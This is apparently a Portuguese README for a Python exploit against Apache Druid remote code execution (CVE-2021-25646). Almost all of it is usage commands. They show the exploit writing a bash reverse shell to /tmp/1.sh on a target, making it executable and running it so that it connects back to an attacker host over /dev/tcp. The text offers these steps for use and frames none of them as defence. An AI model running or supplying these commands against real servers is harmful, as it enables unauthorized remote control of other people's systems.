
Exploit em Python para execução remota de código no Apache Druid (CVE-2021-25646) com capacidades de shell reverso e execução de comandos.
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd
Shell reverso conforme abaixo:
Escrever script de shell reverso
python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1' > /tmp/1.sh"
Conceder permissão de execução ao script
python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh"
Executar shell
python3 CVE-2021-25646.py -u http://x.x.x.x -c "/bin/bash /tmp/1.sh"